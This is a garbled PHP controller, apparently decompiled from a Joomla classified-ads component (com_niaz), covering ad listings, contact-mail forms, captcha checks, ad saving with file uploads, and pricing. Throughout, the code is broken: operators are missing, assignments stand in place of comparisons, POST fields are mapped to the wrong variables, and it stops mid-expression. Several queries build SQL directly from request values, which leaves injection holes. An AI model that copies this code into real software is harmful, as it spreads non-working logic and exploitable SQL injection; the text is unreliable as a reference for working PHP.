                    <a href="'
    ;
                    echo 
    JRoute::_'index.php?option=' $option '&view=detail&id=' $row->fldID ':' $row->fldPName );
                    echo 
    '" class="title">
                                        '
    ;


                    if (
    '' $row->fldImage) {
                        
    $fldImage explode','$row->fldImage );
                        
    $A rand1count$fldImage ) );
                        
    $fldImage $fldImage[$A 1];
                        echo 
    '                  <img src="components/';
                        echo 
    $option;
                        echo 
    '/files/prod/';
                        echo 
    '' $row->fldDate '/' $row->fldID;
                        echo 
    '/tmb_';
                        echo 
    $fldImage;
                        echo 
    '" title="';
                        echo 
    $rows[$i]->fldPName;
                        echo 
    '" alt="';
                        echo 
    $rows[$i]->fldPName;
                        echo 
    '" class="tniypic">
                      '
    ;
                    } 
    else {
                        echo 
    '                  <img src="components/';
                        echo 
    $option;
                        echo 
    '/images/tmb_pic.png"  alt="';
                        echo 
    $rows[$i]->fldPName;
                        echo 
    '" title="';
                        echo 
    $rows[$i]->fldPName;
                        echo 
    '" class="tniypic">
                      '
    ;
                    }


                    echo 
    '                            
                    <img border="0" src="'
    ;
                    echo 
    'components/' $option '/images/star_' $row->fldStar '.gif';
                    echo 
    '" />
                     <br/>'
    ;
                    echo 
    '<s';
                    echo 
    'pan>';
                    echo 
    $row->fldPName;
                    echo 
    '</span></a>
                    </div>
            '
    ;
                    ++
    $i;
                }


                echo 
    '        </div>
        '
    ;
                
    viewCounts$C );


                if (isset( 
    $ExpDate )) {
                    
    self::updateexpdate$ExpDate );
                }


            }


            function 
    UpdateExpDate($ids) {
                
    $db JFactory::getdbo(  );
                
    $ExpDate implode','$ids );
                
    $query 'UPDATE #__niaz_prod SET `fldMoney`=0, `fldShowLink`=0, `fldStar`=0, `fldVije`=0, `fldPage`=0 WHERE fldID IN (' $ExpDate ')';
                
    $db->setQuery$query );
                
    $db->Query(  );
            }


            function 
    LoadConfig() {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $niaz_config;
                global 
    $Cat;
                global 
    $SubCat;
                global 
    $SubCatAll;


                
    $db JFactory::getdbo(  );


                if (
    count$niaz_config )) {
                    return 
    true;
                }


                echo 
    '<div class="message">' JText::_'NIAZ_ERROR_CONFIG' ) . '</div>';
                return 
    false;
            }


            function 
    showMail($aid) {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $option;
                global 
    $mainframe;
                global 
    $app;
                global 
    $niaz_config;
                global 
    $mainframe;


                
    $db JFactory::getdbo(  );
                
    $query 'SELECT * FROM #__niaz_prod ' . ( '
     WHERE fldID = ' 
    $aid );
                
    $db->setQuery$query );
                
    $rowsa $db->loadObject(  );
                
    $email $rowsa->fldEMAil;
                
    $uid $rowsa->fldOwner;
                
    $query 'SELECT * FROM #__users ' . ( '
     WHERE id = ' 
    $uid );
                
    $db->setQuery$query );
                
    $rows $db->loadObject(  );


                if (
    count$rowsa )) {
                    if (
    $rowsa->fldEMAil) {
                        
    self::showmails$rows$rowsa );
                        return 
    null;
                    }


                    echo 
    '<p><a href="javascript:history.back(1)">' JText::_'NIAZ_NONE_EMAIL' ) . '</a></p>';
                    return 
    null;
                }


                echo 
    '<p><a href="javascript:history.back(1)">' JText::_'NIAZ_BACK' ) . '</a></p>';
            }


            function 
    showMails($rows$rowsa) {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $option;
                global 
    $mainframe;
                global 
    $app;
                global 
    $niaz_config;
                global 
    $mainframe;


                
    $db JFactory::getdbo(  );


                if (
    $niaz_config->fldField20  2) {
                    
    $A['css'] = 'slider.css';
                    
    $A['js'] = 'slider.js';
                    foreach (
    $A as $k => $v) {
                        
    NiazController::loaduserstyle$k$v );
                    }
                }




                if (
    intval$niaz_config->fldField19 )) {
                    
    $i2 578;
                }


                
    $i2 578;
                echo 
    '        ';
                echo 
    '<s';
                echo 
    'cript language="javascript">
            function checkMail(x){
          var filter  = /^([a-zA-Z0-9_\.\-]{5,10})+\@(([a-zA-Z0-9\-]{3,5})+\.)+([a-zA-Z0-9]{2,4})+$/;
          if (filter.test(x)) 
          return 0;
          else 
          return 1;
      }        
            //=======================================================================
            function validAdsMessage(){
            var form = document.EForm;
                '
    ;


                if (
    $niaz_config->fldField20) {
                    echo 
    '            if(document.getElementById(\'sec_key\').value==""){
                    alert("'
    ;
                    echo 
    JText::_'ALERT_SEC_CODE' );
                    echo 
    '");
                    return false;
                }
                else
                '
    ;
                }


                echo 
    '            if(form.Name.value==\'\')
                {
                alert(\''
    ;
                echo 
    JText::_'NIAZ_YOUR_NAME' );
                echo 
    '\');
                form.Name.focus();
                return;
                }
                else
                if((form.Email.value==\'\')||(checkMail(form.Email.value)))
                {
                alert(\''
    ;
                echo 
    JText::_'NIAZ_EMAIL' );
                echo 
    '\');
                form.Email.focus();
                return;
                }
                else
                if(form.Subject.value==\'\')
                {
                alert(\''
    ;
                echo 
    JText::_'NIAZ_SUBJECT' );
                echo 
    '\');
                form.Subject.focus();
                return;
                }
                else
                if(form.Message.value==\'\')
                {
                alert(\''
    ;
                echo 
    JText::_'NIAZ_MESSAGE' );
                echo 
    '\');
                form.Message.focus();
                return;
                }
                else
                form.submit();
            }
            //=======================================================================
            </script>
            <div class="adminform">
            <form action="'
    ;
                echo 
    $_SERVER['REQUEST_URI'];
                echo 
    '" method="post" name="EForm">
            <h3>'
    ;
                echo 
    JText::_'NIAZ_ADS_CONTACT' );


                if (isset( 
    $rows )) {
                    echo 
    ' : <a href="';
                    echo 
    JRoute::_'index.php?option=com_userprofile&view=userprofile&id=' $rows->id ':' $rows->username '&Itemid=116' );
                    echo 
    '">';
                    echo 
    $rows->name;
                    echo 
    '</a>';
                }


                echo 
    '</h3>
            <div class="alert" style="height:25px; line-height:25px; padding-right:10px; color:#FF0000">'
    ;
                echo 
    JText::_'NIAZ_REQUIERD' );
                echo 
    '</div>
             <div class="row2">'
    ;
                echo 
    JText::_'NIAZ_RECIVER' );
                echo 
    ' : ';
                echo (isset( 
    $rows ) ? $rows->name $rowsa->fldPName);
                echo 
    '</div>
            
            <div class="row"><label>'
    ;
                echo 
    JText::_'NIAZ_YOUR_NAME' );
                echo 
    '</label><input size="35" name="Name" ></div> 
            <div class="row"><label>'
    ;
                echo 
    JText::_'NIAZ_COUNTRY' );
                echo 
    '</label><input size="35" name="Country" ></div>
            <div class="row"><label>'
    ;
                echo 
    JText::_'NIAZ_EDU' );
                echo 
    '</label><input size="35" name="Edu" ></div>
            <div class="row"><label>'
    ;
                echo 
    JText::_'NIAZ_JOB' );
                echo 
    '</label><input size="35" name="Job" ></div>
            <div class="row"><label>'
    ;
                echo 
    JText::_'NIAZ_EMAIL' );
                echo 
    '</label><input  size="35" name="Email" dir="ltr"></div>
            <div class="row"><label>'
    ;
                echo 
    JText::_'NIAZ_SUBJECT' );
                echo 
    '</label><input size="35" name="Subject"  value="';
                echo 
    JText::_'NIAZ_DEFUALT_SUBJECT' );
                echo 
    ' ';
                echo 
    $rowsa->fldPName;
                echo 
    '"></div>
            <div class="row"><label>'
    ;
                echo 
    JText::_'NIAZ_MESSAGE' );
                echo 
    '</label><textarea name="Message" class="NewTable" rows="10"></textarea></div>
            '
    ;


                if (
    intval$niaz_config->fldField20 )) {
                    echo 
    '        <div class="row">
            '
    ;


                    if (
    intval$niaz_config->fldField20 )  = 1) {
                        echo 
    '        <label>';
                        echo 
    JText::_'NIAZ_IMAGE_SECURITY' );
                        echo 
    '</label>
                <input type="text" class="myinputbox" name="sec_key" id="sec_key" size="5" autocomplete="off" />
                <img src="'
    ;
                        echo 
    JURI::root(  );
                        echo 
    'components/';
                        echo 
    $option;
                        echo 
    '/images/reload.png" style="cursor:pointer" onclick="LoadCaptcha();" />
                <img src="'
    ;
                        echo 
    JURI::root(  );
                        echo 
    'index.php?option=';
                        echo 
    $option;
                        echo 
    '&task=captcha&no_html=1" id="imgCaptcha" style="margin-top:3px;" />
            
            '
    ;
                    } 
    else {
                        
    $captcha time(  );
                        
    $_SESSION['captcha'] = $captcha;
                        echo 
    '            <div id="ads-slider" class="dragdealer rounded-cornered w90">
                    <div class="red-bar handle" id="roleowerADS">&lt;&lt; '
    ;
                        echo 
    JText::_'NIAZ_SEC_ALERT' );
                        echo 
    ' </div>
                </div>
                <input type="hidden" name="sec_key" id="sec_key" />
                '
    ;
                        echo 
    '<s';
                        echo 
    'cript language="javascript">
                    var MyAlaki = \''
    ;
                        echo 
    $captcha;
                        echo 
    '\';
                    var OkAlert = \''
    ;
                        echo 
    JText::_'NIAZ_SEC_OK' );
                        echo 
    '\';
                </script>
            '
    ;
                    }


                    echo 
    '        </div>
            '
    ;
                }


                echo 
    '        <input type="hidden" name="To" value="';
                echo 
    $rowsa->fldEMAil;
                echo 
    '" />
            <input type="hidden" name="option" value="'
    ;
                echo 
    $option;
                echo 
    '"  >
            <input type="hidden" name="task" value="sendMail"  >
            <input type="hidden" name="mag" value="'
    ;
                echo 
    JText::_'NIAZ_A_ADS' );
                echo 
    ' ';
                echo 
    $rowsa->fldPName;
                echo 
    '" >
            <input type="button" value="'
    ;
                echo 
    JText::_'NIAZ_SEND_MAIL' );
                echo 
    '" name="Submit" onclick="validAdsMessage();" class="button" style="margin-top:5px;">
            </form>    
            </div>
    '
    ;
                echo 
    '<s';
                echo 
    'cript language="javascript">
            '
    ;


                if (
    $niaz_config->fldField20  2) {
                    echo 
    '        new Dragdealer(\'ads-slider\');
            '
    ;
                }


                echo 
    '</script>
        '
    ;
            }


            function 
    sendMail() {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $option;
                global 
    $mainframe;
                global 
    $app;
                global 
    $niaz_config;
                global 
    $mainframe;
                global 
    $mosconfig_live_site;


                
    $db JFactory::getdbo(  );
                
    $MailFrom $app->getCfg'mailfrom' );
                
    $FromName $app->getCfg'fromname' );
                
    $SiteName $app->getCfg'sitename' );


                if (
    intval$niaz_config->fldField20 )) {
                    
    $sec_key JRequest::getvar'sec_key' );


                    if (
    $sec_key != $_SESSION['captcha']) {
                        
    $this->setMessageJText::_'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
                        
    $this->setRedirect$_SERVER['HTTP_REFERER'] );
                        return 
    false;
                    }
                }


                
    $Email $Subject $Message = ;
                
    $Job JRequest::getvar'Message''''POST' );
                
    $Edu JRequest::getvar'Subject''''POST' );
                
    $Country JRequest::getvar'Email''''POST' );
                
    $Name JRequest::getvar'Job''''POST' );
                
    $mag JRequest::getvar'Edu''''POST' );
                
    JRequest::getvar'To''''POST' );
                
    $To JRequest::getvar'Country''''POST' );
                
    JRequest::getvar'si''X''POST' );
                
    $si JRequest::getvar'Name''''POST' );
                
    JRequest::getvar'siu''Y''POST' );
                
    $siu JRequest::getvar'mag''''POST' );


                if (
    $mag) {
                    
    $mag JText::_'ADS_TO_ADMIN' ) . ' ' $mag;
                } 
    else {
                    
    $mag JText::_'ADS_TO_USER' ) . ( ' ' $SiteName );
                }


                
    $body $Name . ( ' <' $Email '>
        ' 
    ) . JText::_'NIAZ_JOB' ) . ' : ' $Job '
        ' 
    JText::_'NIAZ_EDU' ) . ' : ' $Edu . ( '
        
        ' 
    $mag '
        
        ' 
    ) . $Message '
        ' 
    '
        . ' 
    JText::_'NIAZ_SENT' ) . ( ' ' $mosconfig_live_site ' ' ) . JText::_'NIAZ_BY_OUR_SITE' ) . ( ' ' $SiteName ' ' ) . JText::_'NIAZ_TO_ADD' ) . ( 
        <' 
    $FromName '>' $MailFrom );
                
    $M JUTility::sendmail$MailFrom$FromName$To$Subject$body0NULLNULLNULL );


                if (
    is_object$M )) {
                    
    $M 577;
                }




                if (
    $M) {
                    
    JText::_'NIAZ_SENT_SUCCESS' );
                    
    $msg = ;
                } 
    else {
                    
    $msg '';
                }


                
    $this->setMessage$msg );
                
    $this->setRedirect$_SERVER['REQUEST_URI'] );
                return 
    true;
            }


            function 
    CheckAccess() {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $niaz_config;
                global 
    $option;
                global 
    $RTL;


                if (
    $my->id  0) {
                    
    $uri JFactory::geturi(  );
                    
    $return $uri->toString(  );
                    
    $url 'index.php?option=com_users&view=login';
                    
    $url &= '&return=' base64_encode$return );
                    
    $app JFactory::getapplication(  );
                    
    $app->redirectJRoute::_$url ), JText::_'You must login first' ) );
                }


            }


            function 
    saveprod($task 'save') {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $niaz_config;
                global 
    $option;
                global 
    $RTL;


                
    $db JFactory::getdbo(  );


                if (
    $niaz_config->fldUType  0) {
                    
    NiazController::checkaccess(  );
                }




                if (!
    intval$niaz_config->fldField42 )) {
                    
    $niaz_config->fldField42 10;
                }




                if (!
    intval$niaz_config->fldField56 )) {
                    
    $niaz_config->fldField56 2;
                }


                
    $ShortDescX JRequest::getvar'ShortDesc', array(  ), 'POST' );
                
    $ShortDesc = array(  );
                foreach (
    $ShortDescX as $k => $v) {


                    if (( 
    $k $niaz_config->fldField42 && strlentrim$v ) ) )) {
                        
    $vx explode' '$v );


                        if (
    intval$niaz_config->fldField56 ) < count$vx )) {
                            
    $v array_slice$vx0$niaz_config->fldField56 );
                            
    $v implode' '$v );
                        }


                        
    $ShortDesc[] = $v;
                        continue;
                    }
                }


                
    $ShortDesc array_unique$ShortDesc );
                
    JRequest::setvar'fldShort'implode','$ShortDesc ) );
                
    JRequest::setvar'fldEXPMail');


                if (
    count$ShortDesc )) {
                    foreach (
    $ShortDesc as $v) {
                        
    $query 'INSERT INTO #__niaz_key (`fldKey`) VALUES (\'' $v '\');';
                        
    $db->setQuery$query );
                        
    $db->Query(  );
                    }
                }


                
    $id JRequest::getint'fldID'0'POST' );
                
    $PName JRequest::getvar'fldPName''''POST' );
                
    $X self::isuniquename$PName$id );


                if (
    $X) {
                    
    $this->setMessageJText::_'ALERT_DUPLICATE_NAME' ), 'error' );
                    
    $this->setRedirect$_SERVER['HTTP_REFERER'] );
                    return 
    false;
                }




                if (
    intval$niaz_config->fldField20 )) {
                    
    $sec_key JRequest::getvar'sec_key' );


                    if (
    $sec_key != $_SESSION['captcha']) {
                        
    $this->setMessageJText::_'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
                        
    $this->setRedirect$_SERVER['HTTP_REFERER'] );
                        return 
    false;
                    }
                }


                require_once( 
    JPATH_SITE DS 'administrator' DS 'components' DS $option DS 'tables' DS 'prod.php' );
                
    $FType = array(  );


                if (
    strlen$niaz_config->fldField45 )) {
                    
    $U explode'*'$niaz_config->fldField45 );
                    
    $X = array(  );
                    foreach (
    $U as $k => $v) {
                        
    $D explode':'$v );
                        
    $X[] = $D[0];
                        
    $FType['fldFilmsize'][$D[0]] = $D[1];
                    }


                    
    $FType['fldFilm'] = $X;
                }




                if (
    strlen$niaz_config->fldField44 )) {
                    
    $U explode'*'$niaz_config->fldField44 );
                    
    $X = array(  );
                    foreach (
    $U as $k => $v) {
                        
    $D explode':'$v );
                        
    $X[] = $D[0];
                        
    $FType['fldImagesize'][$D[0]] = $D[1];
                    }


                    
    $FType['fldImage'] = $X;
                }


                
    $File = array(  );
                
    $B = array(  );
                
    $msg '';
                
    $table 'prod';
                
    $fldStat JRequest::getvar'fldStat' );
                
    $row = new NiazTableProd$db );
                
    $row->load$id );


                if (
    $fldStat) {
                    
    $_POST['fldStat'] = 0;
                }


                
    $fldDate = ($id $row->fldDate date'Y-m-d' ));
                
    $_POST['fldDate'] = $fldDate;
                
    $_POST['fldOwner'] = $my->id;


                if (
    intval$niaz_config->fldField32 )  = 0) {
                    
    $_POST['fldDesc'] = strip_tags$_POST['fldDesc'] );


                    if (
    $niaz_config->fldField43) {
                        
    $fldDesc explode' '$_POST['fldDesc'] );
                        
    $fldDesc array_slice$fldDesc0$niaz_config->fldField43 );
                        
    $_POST['fldDesc'] = implode' '$fldDesc );
                    }
                }


                
    $FT = array(  );
                
    $query 'SHOW FULL COLUMNS FROM #__niaz_prod';
                
    $db->setQuery$query );
                
    $Cols $db->loadObjectList(  );
                
    $i 2099;
                foreach (
    $Cols as $h) {


                    if (
    substr$h->Field0)  = 'fldExtra') {
                        if (
    $h->Type  'text') {
                            
    $FT[] = $h->Field;
                            ++
    $i;
                            continue;
                        }


                        continue;
                    }
                }


                foreach (
    $FT as $v) {


                    if (
    intval$niaz_config->fldField32 )  = 0) {
                        
    JRequest::setvar$vstrip_tags$_POST[$v] ), 'POST' );


                        if (
    $niaz_config->fldField43) {
                            
    $fldDesc explode' '$_POST[$v] );
                            
    $fldDesc array_slice$fldDesc0$niaz_config->fldField43 );
                            
    JRequest::setvar$vimplode' '$fldDesc ), 'POST' );
                            continue;
                        }


                        continue;
                    }
                }


                
    $DELPIC = ($my->id JRequest::getvar'DELPIC', array(  ) ) : array(  ));
                
    $maindestfolder JPATH_COMPONENT_SITE DS 'files' DS . ( '' $table ) . DS . ( '' $fldDate );
                
    $destfolder $maindestfolder DS . ( '' $id );
                
    $Err 2099;
                foreach (
    $_FILES as $k => $v) {
                    foreach (
    $v as $k1 => $v1) {


                        if (
    $k1  'name') {
                            foreach (
    $v1 as $k2 => $v2) {


                                if (
    strlen$v2 )) {
                                    
    $v2 strtolower$v2 );
                                    
    $s explode'.'$v2 );
                                    
    $se $s[count$s ) - 1];


                                    if (( !
    in_array$se$FType[$k] ) || ( $FType[$k 'size'][$se] && $FType[$k 'size'][$se] < intval$v['size'][$k2] \ 1024 ) ) )) {
                                        
    $Err 2100;
                                    }


                                    
    $File[$k][] = $v2;
                                    continue;
                                }
                            }


                            continue;
                        }
                    }
                }




                if (( ( ( 
    $niaz_config->fldField29 && strlen$niaz_config->fldField44 ) ) && !isset( $File['fldImage'] ) ) && !strlen$row->fldImage ) )) {
                    
    $Err 2101;
                }




                if (
    $Err) {
                    
    $this->setMessage( ($Err  JText::_'ERROR_UPLOAD_FILE' ) : JText::_'ERROR_EMPTY_FILE' )), 'error' );
                    
    $this->setRedirect$_SERVER['HTTP_REFERER'] );
                    return 
    false;
                }




                if (
    count$DELPIC )) {
                    foreach (
    $DELPIC as $k => $v) {


                        if (
    strlen$row->$k )) {
                            
    $A explode','$row->$k );
                            
    $B $DELPIC[$k];
                            
    $C = array(  );
                            
    $i 2099;


                            while (
    $i count$B )) {
                                if (
    file_exists'' $destfolder '/' $B[$i] )) {
                                    
    JFile::delete'' $destfolder '/' $B[$i] );
                                }




                                if (
    file_exists'' $destfolder '/tmb_' $B[$i] )) {
                                    
    JFile::delete'' $destfolder '/tmb_' $B[$i] );
                                }




                                if (
    in_array$B[$i], $A )) {
                                    
    $U array_keys$A$B[$i] );
                                    
    $A[$U[0]] = NULL;
                                }


                                ++
    $i;
                            }


                            
    arsort$A );
                            
    $i 2099;
                            
    $n count$B );


                            while (
    $i $n) {
                                
    array_pop$A );
                                ++
    $i;
                            }


                            
    $_POST[$k] = (count$A ) ? implode','$A ) : '');
                            
    $row->$k = (count$A ) ? implode','$A ) : '');
                            continue;
                        }
                    }


                    
    $msg &= JText::sprintf'MYPN_FILE_DELETE'count$B ) );
                }


                
    $A = array(  );
                
    $NFile = array(  );
                foreach (
    $File as $k => $v) {
                    
    $A[$k] = $v;
                }




                if (
    count$A )) {
                    
    $C2 2099;
                    foreach (
    $A as $k => $v) {
                        
    $B1 self::savefile$fldDate$k$table$id );
                        
    $B1 explode','$B1 );
                        
    $NFile[$k] = $B1;
                        
    $C2 += count$B1 );
                        
    $_POST[$k] = ($id ? (strlen$row->$k ) ? $row->$k ',' '') . implode','$B1 ) : implode','$B1 ));


                        if (!
    $id) {
                            
    $FArray[$k] = implode','$B1 );
                            continue;
                        }
                    }


                    
    $msg &= JText::sprintf'MYPN_FILE_ADDED'$C2 );
                }




                if (!isset( 
    $_POST['fldImage'] )) {
                    
    $_POST['fldImage'] = $row->fldImage;
                }




                if (!isset( 
    $_POST['fldFilm'] )) {
                    
    $_POST['fldFilm'] = $row->fldFilm;
                }


                
    $_POST['fldEdit'] = ($id $row->fldEdit 0);
                
    self::calculateform$_POST );
                
    $_POST['fldPay'] = 0;


                if (( 
    $niaz_config->fldField25  && !$_POST['fldPay'] )) {
                    
    $_POST['published'] = 1;
                }




                if (( ( 
    $my->id && intval$niaz_config->fldField2 ) ) && !intval$_POST['fldMoney'] ) )) {
                    
    $query 'SELECT COUNT(fldMoney) FROM #__niaz_prod WHERE fldOwner=' $my->id ' AND fldMoney=0 AND fldID!=' $_POST['fldID'];
                    
    $db->setQuery$query );
                    
    $total $db->loadResult(  );


                    if (
    intval$niaz_config->fldField2 ) <= $total) {
                        
    $this->setMessageJText::sprintf'ALERT_OUT_REGISTER_ADS'intval$niaz_config->fldField2 ), $total ) );
                        
    $this->setRedirectJRoute::_'index.php?option=' $option '&view=myads' ) );
                        return 
    true;
                    }
                }


                foreach (
    $_POST as $k => $v) {
                    
    $_POST[$k] = self::myquestfarsi$v );
                }




                if (( !
    $row->published && $row->fldPay  )) {
                    
    $fldTafavot $row->fldMoney;
                    
    $_POST['fldTafavot'] = 0;
                    
    $_POST['fldPay'] = 0;
                    
    $_POST['fldPayDate'] = NULL;
                    
    $_POST['fldPayMethod'] = '';
                    
    $_POST['fldOrderNumber'] = '';
                    
    $query 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' $fldTafavot ',' $row->fldOwner ');';
                    
    $db->setQuery$query );


                    if (!
    $db->Query(  )) {
                        
    $query 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' $fldTafavot ' WHERE fldUID = ' $row->fldOwner ';';
                        
    $db->setQuery$query );


                        if (
    $db->Query(  )) {
                        }


                        
    $query 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - (' $fldTafavot ') WHERE fldUID = ' $row->fldOwner ' AND fldTafavot >=' $fldTafavot ';';
                        
    $db->setQuery$query );


                        if (
    $db->Query(  )) {
                        }
                    }


                    
    $query 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' $fldTafavot ' AND fldPID = ' $row->fldID ' AND fldUID=' $row->fldOwner ';';
                    
    $db->setQuery$query );


                    if (
    $db->Query(  )) {
                    }


                    
    $query 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' $row->fldPName '\' AND fldPayMethod = \'' $row->fldPayMethod '\' AND fldOrderNumber = \'' $row->fldOrderNumber '\';';
                    
    $db->setQuery$query );
                    
    $fldFactor intval$db->loadResult(  ) );
                    
    $fldDesc JText::sprintf'REVERSE_CREDIT_1'$_POST['fldPName'] );
                    
    $query 'INSERT INTO #__niaz_payment VALUES(0,' $row->fldID ',\'' $row->fldPName '\',\'return\',\'\',-' $fldTafavot ',0,' $row->fldOwner ',\'' $fldDesc '\',NOW(),' $fldFactor ');';
                    
    $db->setQuery$query );


                    if (
    $db->Query(  )) {
                    }
                } 
    else {
                    if (( ( !
    $row->published && !$row->fldPay ) && $row->fldTafavot )) {
                        
    self::reverseusecredit$row$db );
                    }
                }


                
    $_POST['fldTafavot'] = 0;


                if (
    $row->published) {
                    
    $query 'DELETE FROM #__niaz_usecredit WHERE fldPID = ' $row->fldID ';';
                    
    $db->setQuery$query );
                    
    $db->Query(  );
                }




                if (!
    $row->bind$_POST )) {
                    echo 
    '<script> alert("' JText::_'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
    '
    ;
                    exit(  );
                }




                if (!
    $row->check(  )) {
                    echo 
    '<script> alert("' JText::_'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
    '
    ;
                    exit(  );
                }


                
    $row->fldShort implode','$ShortDesc );
                
    $row->fldStartTime NULL;


                if (!
    $row->storetrue )) {
                    echo 
    '<script> alert("' JText::_'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
    '
    ;
                    exit(  );
                }


                
    $query 'SELECT fldID FROM #__niaz_key WHERE `fldKey` IN (\'' implode'\',\''$ShortDesc ) . '\');';
                
    $db->setQuery$query );
                
    $krows $db->loadResultArray(  );
                foreach (
    $krows as $v) {
                    
    $query 'INSERT INTO #__niaz_key_index (`fldKID`,`fldPID`) VALUES (' $v ',' $row->fldID ');';
                    
    $db->setQuery$query );
                    
    $db->Query(  );
                }


                
    $query 'DELETE FROM #__niaz_key_index WHERE `fldKID` NOT IN(' implode','$krows ) . ( ') AND `fldPID`=' $row->fldID ';' );
                
    $db->setQuery$query );
                
    $db->Query(  );


                if (
    $id  0) {
                    
    $destfolder $maindestfolder DS $row->fldID;
                    
    JFolder::create$destfolder );
                    foreach (
    $NFile as $k => $v) {
                        foreach (
    $v as $k1 => $v1) {


                            if (
    $k  'fldImage') {
                                
    JFile::move$maindestfolder DS '0' DS 'tmb_' $v1$destfolder DS 'tmb_' $v1 );
                            }


                            
    JFile::move$maindestfolder DS '0' DS $v1$destfolder DS $v1 );
                        }
                    }
                }


                switch (
    $task) {
                    case 
    'save': {
                        if (!
    $id) {
                            
    $this->setMessageJText::sprintf'ALERT_REGISTERED_ADS', @count$NFile['fldImage'] ) & @count$NFile['fldFilm'] ) ) );
                        } 
    else {
                            
    $this->setMessageJText::_'NIAZ_UPDATED' ) );
                        }




                        if (
    $my->id) {
                            
    $this->setRedirectJRoute::_'index.php?option=' $option '&view=myads' ) );
                        } 
    else {
                            
    $this->setRedirect$_SERVER['HTTP_REFERER'] );
                        }


                        break;
                    }


                    case 
    'pay': {
                        
    $_SESSION['cid'] = array( $row->fldID );
                        
    $_SESSION['step'] = 1;
                        
    $_SESSION['token'] = 1;
                        
    $this->setRedirectJRoute::_'index.php?option=' $option '&view=pay' ) );
                    }
                }


                
    clickINSERT(  );


                if (
    $row->published) {
                    
    SendingMail3, array( 'fldPName' => $row->fldPName'fldEMAil' => $row->fldEMAil'fldID' => $row->fldID'fldStartTime' => $row->fldStartTime ) );
                } 
    else {
                    if (( 
    $niaz_config->fldField25  && $row->fldMoney  )) {
                        
    SendingMail4$row );
                    } 
    else {
                        
    SendingMail( ($id 0) );
                    }
                }


                return 
    true;
            }


            function 
    payprod($task 'pay') {
                
    self::saveprod$task );
            }


            function 
    CalculateForm($data) {
                global 
    $niaz_config;


                
    $db JFactory::getdbo(  );
                
    $js_id = array(  );
                
    $cal 1060;
                
    $str $data['fldShort'];
                
    $mystring explode' '$str );
                foreach (
    $mystring as $k => $v) {


                    if (
    10 strlen$v )) {
                        
    $mystring[$k] = substr$v0);
                        continue;
                    }
                }




                if (
    intval$niaz_config->fldField42 ) < count$mystring )) {
                    
    $mystring array_slice$mystring0intval$niaz_config->fldField42 ) );
                    
    $str implode' '$mystring );
                }


                
    $data['fldShort'] = $str;


                if (( 
    intval$data['fldID'] ) && intval$niaz_config->fldField60 ) )) {
                    
    $U = ($niaz_config->fldField59 explode'*'$niaz_config->fldField59 ) : array(  ));
                    
    $X 1060;
                    
    $A 1060;
                    
    $fldEdit intval$data['fldEdit'] );
                    foreach (
    $U as $k => $v) {
                        
    $D explode':'$v );
                        
    $A $D[1];


                        if (( 
    $X $fldEdit && $fldEdit <= $D[0] )) {
                            
    $cal $cal $A;
                        }


                        
    $X $D[0];
                    }




                    if (
    $X $fldEdit) {
                        
    $cal $cal $A;
                    }
                }


                
    $U = ($niaz_config->fldDay explode'*'$niaz_config->fldDay ) : NULL);
                
    $x 1060;


                while (
    $x count$U )) {
                    
    $D explode':'$U[$x] );


                    if (
    $data['fldDay']  = $D[0]) {
                        
    $cal $cal $D[1];
                    }


                    ++
    $x;
                }


                switch (
    $data['fldStar']) {
                    case 
    '1': {
                        
    $cal $cal intval$niaz_config->fld1Star );
                        break;
                    }


                    case 
    '2': {
                        
    $cal $cal intval$niaz_config->fld2Star );
                        break;
                    }


                    case 
    '3': {
                        
    $cal $cal intval$niaz_config->fld3Star );
                        break;
                    }


                    case 
    '4': {
                        
    $cal $cal intval$niaz_config->fld4Star );
                        break;
                    }


                    case 
    '5': {
                        
    $cal $cal intval$niaz_config->fld5Star );
                        break;
                    }


                    case 
    '6': {
                        
    $cal $cal intval$niaz_config->fld6Star );
                        break;
                    }


                    case 
    '7': {
                        
    $cal $cal intval$niaz_config->fld7Star );
                    }
                }




                if (
    $data['fldShowLink']  = '1') {
                    
    $cal $cal $niaz_config->fldLink;
                }




                if (
    $niaz_config->fldField50 != '') {
                    
    $U explode'*'$niaz_config->fldField50 );
                    
    $FN = array(  );
                    
    $FT = array(  );
                    
    $query 'SHOW FULL COLUMNS FROM #__niaz_prod';
                    
    $db->setQuery$query );
                    
    $Cols $db->loadObjectList(  );
                    
    $i 1060;
                    foreach (
    $Cols as $h) {


                        if (
    substr$h->Field0)  = 'fldExtra') {
                            if (
    $h->Comment) {
                                
    $FT[$i]['Field'] = $h->Field;
                                
    $FT[$i]['Type'] = $h->Type;
                                ++
    $i;
                                continue;
                            }


                            continue;
                        }
                    }


                    foreach (
    $U as $x => $z) {
                        
    $D explode':'$z );
                        
    $FN[$x]['title'] = $D[0];
                        
    $FN[$x]['type'] = $D[1];
                        
    $FN[$x]['price'] = $D[2];
                    }


                    foreach (
    $FN as $k => $v) {
                        
    $js_price[$k] = 0;
                        switch (
    $FN[$k]['type']) {
                            case 
    3: {
                                
    $From = array( 'enum(''ENUM(''\\')', '\\'' );
                                
    $To = array( '''''\\'', '' );
                                $Value = str_replace( $From, $To, $FT[$k]['
    Type'] );
                                $Value = explode( '
    ,', $Value );
                            }
                        }


                        $js_id[$k] = $FT[$k]['
    Field'];
                        $js_price[$k] = $FN[$k]['
    price'];
                    }
                }


                foreach ($js_id as $k => $v) {


                    if (( isset( $data[$v] ) && $data[$v] != '' )) {
                        $cal = $cal & $js_price[$k];
                        continue;
                    }
                }


                $MaxImage = (strlen( $data['
